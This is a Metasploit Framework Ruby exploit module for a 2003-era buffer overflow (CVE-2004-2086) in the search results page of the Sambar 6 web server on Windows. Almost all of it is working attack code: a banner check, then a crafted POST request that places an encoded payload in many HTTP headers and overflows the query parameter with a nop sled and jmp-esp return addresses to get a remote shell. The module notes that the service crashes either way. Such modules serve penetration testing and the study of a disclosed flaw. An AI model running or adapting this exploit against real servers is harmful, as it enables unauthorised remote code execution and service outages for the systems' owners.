Sambar 6 - Search Results Buffer Overflow



##

# $Id: sambar6_search_results.rb 8480 2010-02-13 20:15:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Sambar 6 Search Results Buffer Overflow',
            'Description'    => %q{
            This module exploits a buffer overflow found in the
            /search/results.stm application that comes with Sambar 6.
            This code is a direct port of Andrew Griffiths's SMUDGE
            exploit, the only changes made were to the nops and payload.
            This exploit causes the service to die, whether you provided
            the correct target or not.
            },
            'Author'     =>     [
                    'hdm',
                    'Andrew Griffiths <andrewg [at] felinemenace.org>',
                    'patrick', # msf3 port
                        ],
            'Arch'        => [ ARCH_X86 ],
            'License'       => MSF_LICENSE,
            'Version'       => '$Revision: 8480 $',
            'References'    =>
            [
                [ 'CVE', '2004-2086' ],
                [ 'OSVDB', '5786' ],
                [ 'BID', '9607' ],
            ],
            'Privileged'        => false,
            'DefaultOptions'    =>
            {
                'EXITFUNC'    => 'thread',
            },
            'Payload'        =>
                {
                    'Space'            => 2000, # unlimited
                    'BadChars'         => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
                    'StackAdjustment'     => -3500,
                },
            'Platform' => ['win'],
            'Targets'  =>
            [
                # patrick tested OK 20100214 xpsp0
                ['Windows 2000',     { 'jmpESP' => 0x74fdee63, 'Ret' => 0x773368f4 } ],
                ['Windows XP',       { 'jmpESP' => 0x77da78ff, 'Ret' => 0x77e631ea } ], # user32.dll jmp esp; kernel32.dll retn

            ],
            'DisclosureDate' => 'Jun 21 2003'))

            register_options(
            [
                Opt::RPORT(80),
            ],self.class)
    end

    def check
        connect
        sock.put("GET / HTTP/1.0\r\n\r\n")
        banner = sock.get_once
        disconnect

        if (banner =~ /Server:\sSAMBAR/)
            return Exploit::CheckCode::Detected
        end
            return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        buff = "POST /search/results.stm HTTP/1.1\r\n"
        buff << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
        buff <<  "User-Agent: #{payload.encoded}\r\n"
        buff << "Accept: #{payload.encoded}\r\n"
        buff << "Accept-Encoding: #{payload.encoded}\r\n"
        buff << "Accept-Language: #{payload.encoded}\r\n"
        buff << "Accept-Ranges: #{payload.encoded}\r\n"
        buff << "Referrer: #{payload.encoded}\r\n"
        buff << "Connection: Keep-Alive\r\n"
        buff <<"Pragma: no-cache\r\n"
        buff << "Content-Type: #{payload.encoded}\r\n"

        # we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff
        # int3's DO NOT WORK because it triggers an exception and causes the server to exit
        jmpcode = "\xfc" + "h" + [target['Ret']].pack('V') + "\xfc\xfc\xfc" + "\xc2\x34\xd1"
        bigbuff = jmpcode  + ("X" * (128 - jmpcode.length)) + [target['jmpESP']].pack('V') +[target['jmpESP']].pack('V') + jmpcode
        content = "style=page&spage=0&indexname=docs&query=#{bigbuff}"
        buff << "Content-Length: #{content.length}\r\n\r\n" + content

        print_status("Sending #{buff.length} bytes to remote host.")
        sock.put(buff)
        res = sock.get_once
        if (!res)
            print_status("Didn't get response, hoping for shell anyway...")
        else
            print_status("Got Response!")
        end

        handler
        disconnect
    end
end